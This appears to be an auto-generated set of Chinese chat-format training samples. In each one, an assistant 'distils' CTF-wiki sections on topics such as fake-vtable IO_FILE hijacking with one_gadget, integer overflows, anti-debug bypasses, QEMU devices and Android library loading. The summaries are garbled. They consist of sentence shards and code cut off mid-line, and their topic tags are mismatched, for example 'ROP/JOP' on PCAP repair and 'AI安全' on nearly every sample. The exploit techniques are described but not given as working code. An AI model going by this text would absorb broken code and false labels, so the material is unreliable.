- | | Syntax: | bne $s, $t, offset | | Encoding: | 0001 01ss ssst tttt iiii iiii iiii iiii | DIV -- Divide | Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI | | ------------ | -------------------------------------------...
- | | Syntax: | div $s, $t | | Encoding: | 0000 00ss ssst tttt 0000 0000 0001 1010 | DIVU -- Divide unsigned | Description: | Divides $s by $t and stores the quotient in $LO and the remainder in $HI | | ------------ | -----------------------------------------...
- nPC = (PC & 0xf0000000) \| (target << 2);
- The lower 16 bits are zeroes. | | ------------ | ------------------------------------------------------------ | | Operation: | $t = (imm << 16);

关键术语：
- AI安全
- assembly
- mips
- readme.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

0x2 指令 Instruction

MIPS


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md` 中的章节「思路：」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/fake-vtable-exploit.md`
标题：伪造vtable劫持程序流程
章节：伪造vtable劫持程序流程 > 2018 HCTF the_end > 思路：
路径分类：pwn / pwn/linux/user-mode
分块：1/2

核心知识点：
- 本节主题围绕“思路：”展开。
- 利用的是在程序调用 exit 后，会遍历 _IO_list_all ，调用 _IO_2_1_stdout_ 下的 vtable 中 _setbuf 函数。
- 可以先修改两个字节在当前 vtable 附近伪造一个 fake_vtable ，然后使用 3 个字节修改 fake_vtable 中 _setbuf 的内容为 one_gadget。
- DATA XREF: LOAD:000000000000BAF0↑o .data:00000000003C5700 ;
- fclose+F2↑r ... .data:00000000003C5708 public stdout .data:00000000003C5708 stdout dq offset _IO_2_1_stdout_ .data:00000000003C5708 ;
- DATA XREF: LOAD:0000000000009F48↑o .data:00000000003C5708 ;

关键术语：
- 边界/溢出
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- io-file

代码/命令片段线索：
- plain: 17 行，首行 `.data:00000000003C56F8 dq offset _IO_file_jumps // vtables`
- plain: 16 行，首行 `pwndbg> x /30gx 0x7f41d9c026f8`
- plain: 23 行，首行 `void * funcs[] = {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

思路：

边界/溢出 AI安全 漏洞利用 pwn linux user-mode io-file

伪造vtable劫持程序流程


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「dvmLoadNativeCode」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/android/basic_operating_mechanism/native_layer/so.md`
标题：so 介绍
章节：so 介绍 > 核心加载流程 > dvmLoadNativeCode
路径分类：android / android/basic_operating_mechanism/native_layer
分块：1/2

核心知识点：
- 本节主题围绕“dvmLoadNativeCode”展开。
- 函数的基本执行流程如下 1. 利用 findSharedLibEntry 判断是否已经加载了这个库，以及如果已经加载的话，是不是采用的是同一个class loader。
- } ` 2. 如果没有加载的话，就会利用 dlopen 打开该共享库。
- ownership of the string is transferred to the caller. / bool dvmLoadNativeCode(const char pathName, Object classLoader, char* detail) { SharedLib pEntry;
- The current version of the dynamic linker prints detailed information about dlopen() failures.
- ThreadStatus oldStatus = dvmChangeStatus(self, THREAD_VMWAIT);

关键术语：
- Android逆向
- 密码学
- AI安全
- 漏洞利用
- android
- basic-operating-mechanism
- native-layer
- so.md
- code:c++

代码/命令片段线索：
- c++: 48 行，首行 `/*`
- c++: 36 行，首行 `/*`
- c++: 9 行，首行 `void* dlopen(const char* filename, int flags) {`
- c++: 13 行，首行 `soinfo* do_dlopen(const char* name, int flags) {`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

dvmLoadNativeCode

Android逆向 密码学 AI安全 漏洞利用 android basic-operating-mechanism native-layer so.md code:c++

so 介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/mode.md` 中的章节「解题模式 - Jeopardy」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/mode.md`
标题：CTF 竞赛模式简介
章节：CTF 竞赛模式简介 > 解题模式 - Jeopardy
路径分类：introduction / introduction/mode.md
分块：1/1

核心知识点：
- 本节主题围绕“解题模式 - Jeopardy”展开。
- 目前的 CTF 题目类型主要有六个类别： - Web 网络攻防 - Reverse Engineering 逆向工程 - Pwn 二进制漏洞利用 - Crypto 密码攻击 - Mobile 移动安全 - Misc 安全杂项
- 在解题模式 CTF 赛制中，参赛队伍可以通过互联网或者现场网络参与，参数队伍通过与在线环境交互或文件离线分析，解决网络安全技术挑战获取相应分值，类似于 ACM 编程竞赛、信息学奥林匹克赛，根据总分和时间来进行排名。
- 解题模式下通常会设置 一血 、 二血 、 三血 ，也即最先完成的前三支队伍会获得额外分值。
- 此外，还有一种“降分”的计分规则，即在设置每道题目的初始分数后，根据该题的成功解答队伍数来逐渐降低该题的分值。
- 解题模式（Jeopardy）常见于线上选拔比赛。

关键术语：
- 密码学
- 漏洞利用
- mode.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

解题模式 - Jeopardy

密码学 漏洞利用 mode.md

CTF 竞赛模式简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/qemu/environment/build-qemu-dev.md` 中的章节「Qemu 中 PCI 设备的编写」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/qemu/environment/build-qemu-dev.md`
标题：编写 QEMU 模拟设备
章节：编写 QEMU 模拟设备 > Qemu 中 PCI 设备的编写
路径分类：pwn / pwn/virtualization/qemu
分块：1/2

核心知识点：
- 本节主题围绕“Qemu 中 PCI 设备的编写”展开。
- 文件: ./figure/new-qemu-dev-lspci.png] 我们可以使用如下程序来测试我们的设备的输入输出，需要注意的是这需要 root 权限： > PMIO，使用 iopl 更改端口权限后便能通过 in/out 类指令读写端口 ``c #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <stdlib.h> #include <sys/io.h> int main(int argc, char argv, cha...
- ` 以及定义一个空的 Class 模板，继承自 PCI 设备的静态类型 PCIDeviceClass，不过这一步并不是必须的，事实上我们可以直接用 PCIDeviceClass 作为我们设备类的 Class： `c typedef struct A3PCIDevClass { /< private >/ PCIDeviceClass parent;
- } ` 最后是 Class 与 Object（也就是 instance）的初始化函数，这里需要注意的是在 Class 的初始化函数中我们应当设置父类 PCIDeviceClass 的一系列基本属性（也就是 PCI 设备的基本属性）： `c static void a3dev_instance_init(Object obj) { // do something } static void a3dev_class_init(ObjectClass oc, void data) { DeviceClass dc...
- 在补充了这么多的 Qemu 相关的知识之后，现在我们可以开始在 Qemu 中编写 PCI 设备了，这里笔者将编写一个最简单的 Qemu 设备，并将源码放在 hw/misc/a3dev.c 中 Qemu 当中 PCI 设备实例的基类是 PCIDevice，因此我们应当创建一个继承自 PCIDevice 的类来表示我们的设备实例，这里笔者仅声明了两个 MemoryRegion 用作 MMIO 与 PMIO，以及一个用作数据存储的 buffer： ``c #define A3DEV_BUF_SIZE 0x100 t...
- if (addr + size > A3DEV_BUF_SIZE) return val;

关键术语：
- AI安全
- pwn
- virtualization
- qemu
- environment
- code:c
- code:meson
- code:kconfig

代码/命令片段线索：
- c: 9 行，首行 `#define A3DEV_BUF_SIZE 0x100`
- c: 4 行，首行 `typedef struct A3PCIDevClass {`
- c: 7 行，首行 `#define TYPE_A3DEV_PCI "a3dev-pci"`
- c: 52 行，首行 `static uint64_t`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

Qemu 中 PCI 设备的编写

编写 QEMU 模拟设备
Qemu 中 PCI 设备的编写

AI安全 pwn virtualization qemu environment code:c code:meson code:kconfig

编写 QEMU 模拟设备


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/integeroverflow/introduction.md` 中的章节「错误的类型转换」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/integeroverflow/introduction.md`
标题：整数溢出
章节：gdb a.out > 错误的类型转换
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- 即使正确的对变量进行约束，也仍然有可能出现整数溢出漏洞，我认为可以概括为错误的类型转换，如果继续细分下去，可以分为： 1. 范围大的变量赋值给范围小的变量 ``c $ cat test2.c void check(int n) { if (!
- } $ gcc test2.c $ ./a.out 4294967296 vuln ` 上述代码就是一个范围大的变量(长整型a)，传入 check 函数后变为范围小的变量(整型变量n)，造成整数溢出的例子。
- 2. 只做了单边限制 这种情况只针对有符号类型 `c $ cat test3.c int main(void) { int len, l;
- } int main(void) { long int a;
- } $ gcc test3.c $ ./a.out -1 aaaaaaaaaaaa aaaaaaaaaaaa ` 从表面上看，我们对变量 len 进行了限制，但是仔细思考可以发现，len 是有符号整型，所以 len 的长度可以为负数，但是在 read 函数中，第三个参数的类型是 size_t，该类型相当于 unsigned long int`，属于无符号长整型 上面举例的两种情况都有一个共性，就是函数的形参和实参的类型不同，所以我认为可以总结为错误的类型转换
- if (a == 0) printf("Bad");

关键术语：
- 边界/溢出
- AI安全
- 漏洞利用
- pwn
- linux
- user-mode
- integeroverflow
- code:c

代码/命令片段线索：
- c: 22 行，首行 `$ cat test2.c`
- c: 18 行，首行 `$ cat test3.c`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

错误的类型转换

边界/溢出 AI安全 漏洞利用 pwn linux user-mode integeroverflow code:c

整数溢出


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/virtualization/basic-knowledge/io-virtualization.md` 中的章节「平台设备模拟（Platform device emulation）」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/virtualization/basic-knowledge/io-virtualization.md`
标题：IO 虚拟化
章节：IO 虚拟化 > 基本模型 > 平台设备模拟（Platform device emulation）
路径分类：pwn / pwn/virtualization/basic-knowledge
分块：1/1

核心知识点：
- 本节主题围绕“平台设备模拟（Platform device emulation）”展开。
- 基于 hypervisor 的设备模拟（Hypervisor-based device emulation）是 VMware workstation 系列产品较为常用的一种方式：在 hypervisor 中有着对一般设备的仿真供 guest OS 进行共享，包括虚拟磁盘、虚拟网络适配器与其他的必要元素，这种模型如下图所示： [图片文件: ./figure/vmm-base-vdev.png] 第二种架构称为用户空间设备模拟（User space device emulation），其虚拟设备的模拟在用户空间进行。
- 由于设备的模拟是独立于 hypervisor 的，因此我们可以模拟任何设备，且该模拟设备可以在其他 hypervisor 间进行共享。
- 平台设备模拟即由 Hypervisor 负责模拟虚拟设备的功能，不同的虚拟化软件对于模拟设备的实现方式不同。
- QEMU 在用户空间中独立进行设备模拟，虚拟设备被其他的 VM 通过 hypervisor 提供的接口进行调用。
- [图片文件: ./figure/usr-emu-dev.png]

关键术语：
- AI安全
- pwn
- virtualization
- basic-knowledge
- io-virtualization.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

平台设备模拟（Platform device emulation）

IO 虚拟化
基本模型
平台设备模拟（Platform device emulation）

AI安全 pwn virtualization basic-knowledge io-virtualization.md

IO 虚拟化


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/agent-loop/intro.md` 中的章节「5. 构建 LLM-based 的 Agent Loop」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/agent-loop/intro.md`
标题：简介
章节：简介 > 教程：构建朴素的 Agent Loop > 5. 构建 LLM-based 的 Agent Loop
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“5. 构建 LLM-based 的 Agent Loop”展开。
- 下面总算来到最为核心的一步，也就是构建一个观测->执行的循环，让咱们的 Agent Loop 真正地动起来 首先我们需要让 LLM 仅输出格式化信息，我们的期望是 LLM 仅输出 JSON 格式的消息，从而方便我们进行解析，由于 LLM 本身仅能接收文本输入，因此这一规约仅能通过 PROMPT 来完成，也就是我们提前提供给 LLM 的初始输入。

关键术语：
- AI安全
- ai
- ai-for-security
- agent
- agent-loop
- code:json
- code:python

代码/命令片段线索：
- json: 5 行，首行 `{`
- python: 65 行，首行 `class Agent:`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

5. 构建 LLM-based 的 Agent Loop

简介
教程：构建朴素的 Agent Loop
5. 构建 LLM-based 的 Agent Loop

AI安全 ai ai-for-security agent agent-loop code:json code:python

简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/misc/traffic/fix.md` 中的章节「PCAP文件结构」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/misc/traffic/fix.md`
标题：PCAP 文件修复
章节：PCAP 文件修复 > PCAP文件结构
路径分类：misc / misc/traffic/fix.md
分块：1/1

核心知识点：
- 本节主题围绕“PCAP文件结构”展开。
- 一般来说,对于 PCAP 文件格式考察较少，且通常都能借助于现成的工具如 pcapfix 直接修复，这里大致介绍下几个常见的块，详细可以翻看Here。
- Capture Statistics Block: it defines how to store some statistical data (e.g. packet dropped, etc) which can be useful to undestand the conditions in which the capture has been made.
- Packet Block: it contains a single captured packet, or a portion of it.
- Simple Packet Block: it contains a single captured packet, or a portion of it, with only a minimal set of information about it.
- Interface Description Block: it defines the most important characteristics of the interface(s) used for capturing traffic.

关键术语：
- ROP/JOP
- AI安全
- 修复/缓解
- misc
- traffic
- fix.md
- code:shell

代码/命令片段线索：
- shell: 12 行，首行 `0 1 2 3`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

PCAP文件结构

PCAP 文件修复
PCAP文件结构

ROP/JOP AI安全 修复/缓解 misc traffic fix.md code:shell

PCAP 文件修复


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/tools/constraint/z3.md` 中的章节「逆向分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/tools/constraint/z3.md`
标题：z3
章节：z3 > 例题：GWCTF 2019 - xxor > 逆向分析
路径分类：reverse / reverse/tools/constraint
分块：1/1

核心知识点：
- 本节主题围绕“逆向分析”展开。
- 首先惯例拖入 IDA 中，main() 函数整体逻辑比较简单，首先会读入 6 个整型到栈上，接下来对前三个整型调用三次 sub_400686() 函数进行处理并将结果存到 v7 中，最后调用 sub_400770() 进行检查： ``c __int64 __fastcall main(int a1, char a2, char a3) { int i;
- DATA XREF: main+FE↑o .data:0000000000601064 dd 2 .data:0000000000601068 dd 3 .data:000000000060106C dd 4 ` 而 sub_400770() 会对处理过后的输入进行检查： `c __int64 __fastcall sub_400770(_DWORD a1) { __int64 result;
- puts("You seccess half\n");
- // [rsp+40h] [rbp-30h] BYREF v7[5] = __readfsqword(0x28u);
- } if ( (unsigned int)sub_400770(v7, a2) !

关键术语：
- 栈
- 密码学
- AI安全
- reverse
- tools
- constraint
- z3.md
- code:c

代码/命令片段线索：
- c: 46 行，首行 `__int64 __fastcall main(int a1, char **a2, char **a3)`
- c: 21 行，首行 `__int64 __fastcall sub_400686(unsigned int *a1, _DWORD *a2)`
- c: 4 行，首行 `.data:0000000000601060 dword_601060 dd 2 ; DATA XREF: main+FE↑o`
- c: 20 行，首行 `__int64 __fastcall sub_400770(_DWORD *a1)`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

逆向分析

栈 密码学 AI安全 reverse tools constraint z3.md code:c

z3


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/windows/anti-debug/zwsetinformationthread.md` 中的章节「关于ZwSetInformationThread」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/windows/anti-debug/zwsetinformationthread.md`
标题：ZwSetInformationThread
章节：ZwSetInformationThread > 关于ZwSetInformationThread
路径分类：reverse / reverse/platform/windows
分块：1/1

核心知识点：
- 本节主题围绕“关于ZwSetInformationThread”展开。
- } int main() { printf("Begin\n");
- ZwSetInformationThread 等同于 NtSetInformationThread，通过为线程设置 ThreadHideFromDebugger，可以禁止线程产生调试事件，代码如下 ``c #include <Windows.h> #include <stdio.h> typedef DWORD(WINAPI* ZW_SET_INFORMATION_THREAD) (HANDLE, DWORD, PVOID, ULONG);
- #define ThreadHideFromDebugger 0x11 VOID DisableDebugEvent(VOID) { HINSTANCE hModule;
- ZwSetInformationThread = (ZW_SET_INFORMATION_THREAD)GetProcAddress(hModule, "ZwSetInformationThread");
- ZwSetInformationThread(GetCurrentThread(), ThreadHideFromDebugger, 0, 0);

关键术语：
- AI安全
- reverse
- platform
- windows
- anti-debug
- code:c

代码/命令片段线索：
- c: 19 行，首行 `#include <Windows.h>`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

关于ZwSetInformationThread

AI安全 reverse platform windows anti-debug code:c

ZwSetInformationThread


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/ai/ai-for-security/agent/introduction.md` 中的章节「简介」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/ai/ai-for-security/agent/introduction.md`
标题：AI Agent
章节：AI Agent > 简介
路径分类：ai / ai/ai-for-security/agent
分块：1/1

核心知识点：
- 本节主题围绕“简介”展开。
- 人工智能代理 （AI agent，又称 智能体 ）是指以 AI 作为决策核心，并通过调用外部工具（如信息检索、代码执行等）来与环境交互，从而达成特定目标的一种软件系统。
- 尽管 LLM 在形式上仍可被视为一个将 输入文本 映射到 输出文本 的黑箱函数，但当其被嵌入具备状态管理、工具调用与循环控制机制的系统结构中时，其整体行为开始可以具备明显的 目标导向性与决策连续性 ，从而自动化地完成复杂的任务。
- 因此，在当前主流实现范式中，AI agent 通常以 LLM 作为核心，这也是为什么当我们谈论到 AI Agent 这个词时，我们都会默认携带一个隐含假设便是 AI Agent 是围绕着 LLM 进行构建的，即 LLM 是 AI Agent 事实上的核心——虽然现在这类软件很少有人会将其特别称呼为 LLM Agent。
- 这一问题直接引出了当前 AI agent 研究与实践中的关键方向，包括但不限于：决策流程设计、工具使用策略、结果验证机制以及人类监督的引入等。
- 由于 LLM 对于软件开发者而言本质上只是一个接受数据输入并给出数据输出的黑箱函数，因此要想构建一个能够自主决策与行动的 AI Agent，我们必须要将 LLM 的输出规约为机器可理解的格式，从而使得传统软件系统能够理解 LLM 的意图并执行相应的行为，同时我们也需要对 LLM 所能看到的数据范围进行管理——这意味着AI agent 的构建本质上是一个 系统工程问题 ，其核心挑战不在于单一模型性能的极致优化，而在于： - 如何在利用一个能力强大但不完全可靠的推理模块的同时，对其行为进行有效约束与引导。

关键术语：
- AI安全
- 漏洞利用
- ai
- ai-for-security
- agent
- introduction.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

简介

AI安全 漏洞利用 ai ai-for-security agent introduction.md

AI Agent


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/pwn/linux/user-mode/io-file/introduction.md` 中的章节「fclose」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/pwn/linux/user-mode/io-file/introduction.md`
标题：FILE结构
章节：else > fclose
路径分类：pwn / pwn/linux/user-mode
分块：1/1

核心知识点：
- `` int fclose(FILE stream) ` 功能：关闭一个文件流，使用fclose就可以把缓冲区内最后剩余的数据输出到磁盘文件中，并释放文件指针和有关的缓冲区 fclose首先会调用_IO_unlink_it将指定的FILE从_chain链表中脱链 ` if (fp->_IO_file_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus ) fp);
- ` 之后会调用_IO_file_close_it函数，_IO_file_close_it会调用系统接口close关闭文件 ` if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp);
- ` 最后调用vtable中的_IO_FINISH，其对应的是_IO_file_finish函数，其中会调用free函数释放之前分配的FILE结构 ` _IO_FINISH (fp);
- fclose是标准IO库中用于关闭已打开文件的函数，其作用与fopen相反。

关键术语：
- AI安全
- pwn
- linux
- user-mode
- io-file

代码/命令片段线索：
- plain: 1 行，首行 `int fclose(FILE *stream)`
- plain: 2 行，首行 `if (fp->_IO_file_flags & _IO_IS_FILEBUF)`
- plain: 2 行，首行 `if (fp->_IO_file_flags & _IO_IS_FILEBUF)`
- plain: 1 行，首行 `_IO_FINISH (fp);`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

fclose

FILE结构


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/introduction/mode.md` 中的章节「网络环境」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/introduction/mode.md`
标题：CTF 竞赛模式简介
章节：CTF 竞赛模式简介 > 攻防模式 - Attack & Defense > 网络环境
路径分类：introduction / introduction/mode.md
分块：1/1

核心知识点：
- 本节主题围绕“网络环境”展开。
- 文档上一般都会有比赛环境的 网络拓扑图 （如下图），每支队伍会维护若干的 Gamebox（己方服务器） ，Gamebox 上部署有存在漏洞的服务。
- 选手环境信息包括(选手通常需自行配置或通过 DHCP 自动获取)： - IP 地址。
- 文件: figure/network.jpg] 在文档当中会包含选手，攻防环境，主办方三者的环境。
- 攻防环境信息包括： - Gamebox 网络地址，包括己方和其他队伍的地址。
- 队伍的 id 与对应 ip 的映射表，以便于让选手指定恰当的攻防策略。

关键术语：
- 漏洞利用
- mode.md

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

网络环境

CTF 竞赛模式简介


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md` 中的章节「如何绕过」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/platform/windows/anti-debug/checkremotedebuggerpresent.md`
标题：CheckRemoteDebuggerPresent
章节：CheckRemoteDebuggerPresent > 如何绕过
路径分类：reverse / reverse/platform/windows
分块：1/1

核心知识点：
- 本节主题围绕“如何绕过”展开。
- 比如有如下的代码 `` c++ int main(int argc, char *argv[]) { BOOL isDebuggerPresent = FALSE;
- if (CheckRemoteDebuggerPresent(GetCurrentProcess(), &isDebuggerPresent )) { if (isDebuggerPresent ) { std::cout << "Stop debugging program!
- } ` 我们可以直接修改isDebuggerPresent的值或修改跳转条件来绕过(注意不是CheckRemoteDebuggerPresent的izhi, 它的返回值是用于表示函数是否正确执行). 但如果要针对CheckRemoteDebuggerPresent这个api函数进行修改的话. 首先要知道CheckRemoteDebuggerPresent内部其实是通过调用NtQueryInformationProcess来完成功能的. 而我们就需要对NtQueryInformationProcess`的返回值...

关键术语：
- AI安全
- reverse
- platform
- windows
- anti-debug

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

如何绕过

AI安全 reverse platform windows anti-debug

CheckRemoteDebuggerPresent


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/android/basic_operating_mechanism/native_layer/so.md` 中的章节「nativeload」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/android/basic_operating_mechanism/native_layer/so.md`
标题：so 介绍
章节：so 介绍 > 核心加载流程 > nativeload
路径分类：android / android/basic_operating_mechanism/native_layer
分块：1/1

核心知识点：
- 而 nativeload 函数其实就是一个原生层的函数 ``java // TODO: should be synchronized, but dalvik doesn't support synchronized internal natives. private static native String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath);
- ` 可以看出在 native 层对应的函数是 Dalvik_java_lang_Runtime_nativeLoad，如下 `C++ / static String nativeLoad(String filename, ClassLoader loader, String ldLibraryPath) Load the specified full path as a dynamic library filled with JNI-compatible methods.
- ", Dalvik_java_lang_Runtime_nativeLoad }, { "totalMemory", "()J", Dalvik_java_lang_Runtime_totalMemory }, { NULL, NULL, NULL }, };
- Returns null on success, or a failure message on failure. / static void Dalvik_java_lang_Runtime_nativeLoad(const u4 args, JValue pResult) { StringObject fileNameObj = (StringObject) args[0];
- void sym = dlsym(RTLD_DEFAULT, "android_update_LD_LIBRARY_PATH");
- Fn android_update_LD_LIBRARY_PATH = reinterpret_cast<Fn>(sym);

关键术语：
- Android逆向
- AI安全
- android
- basic-operating-mechanism
- native-layer
- so.md
- code:java
- code:c
- code:c++

代码/命令片段线索：
- java: 3 行，首行 `// TODO: should be synchronized, but dalvik doesn't support synchronized internal natives.`
- C: 15 行，首行 `const DalvikNativeMethod dvm_java_lang_Runtime[] = {`
- C++: 39 行，首行 `/*`
- c++: 1 行，首行 `bool success = dvmLoadNativeCode(fileName, classLoader, &reason);`

训练边界：
- 仅基于本地文档片段归纳，不补充外部事实。
- 保留路径、章节、命令、API、漏洞类型与验证语境，适合用于安全知识问答、RAG 摘要和 CPT 续训。

nativeload

Android逆向 AI安全 android basic-operating-mechanism native-layer so.md code:java code:c code:c++

so 介绍


[System] 你是网络安全、AI 安全与软件安全文档蒸馏助手。回答必须基于给定本地文档，保留来源路径、章节层级、术语、命令/API 和验证边界；不要编造文档中没有出现的事实。

[User] 将 `docs/reverse/obfuscate/junk-code.md` 中的章节「逆向分析」蒸馏为可用于训练安全模型的结构化知识。请输出来源、主题分类、核心知识点、关键术语、代码/命令线索和训练边界。

[Assistant]
来源：`docs/reverse/obfuscate/junk-code.md`
标题：花指令
章节：花指令 > 例题：N1CTF2020 - oflo > 逆向分析
路径分类：reverse / reverse/obfuscate/junk-code.md
分块：2/3

核心知识点：
- 本节主题围绕“逆向分析”展开。
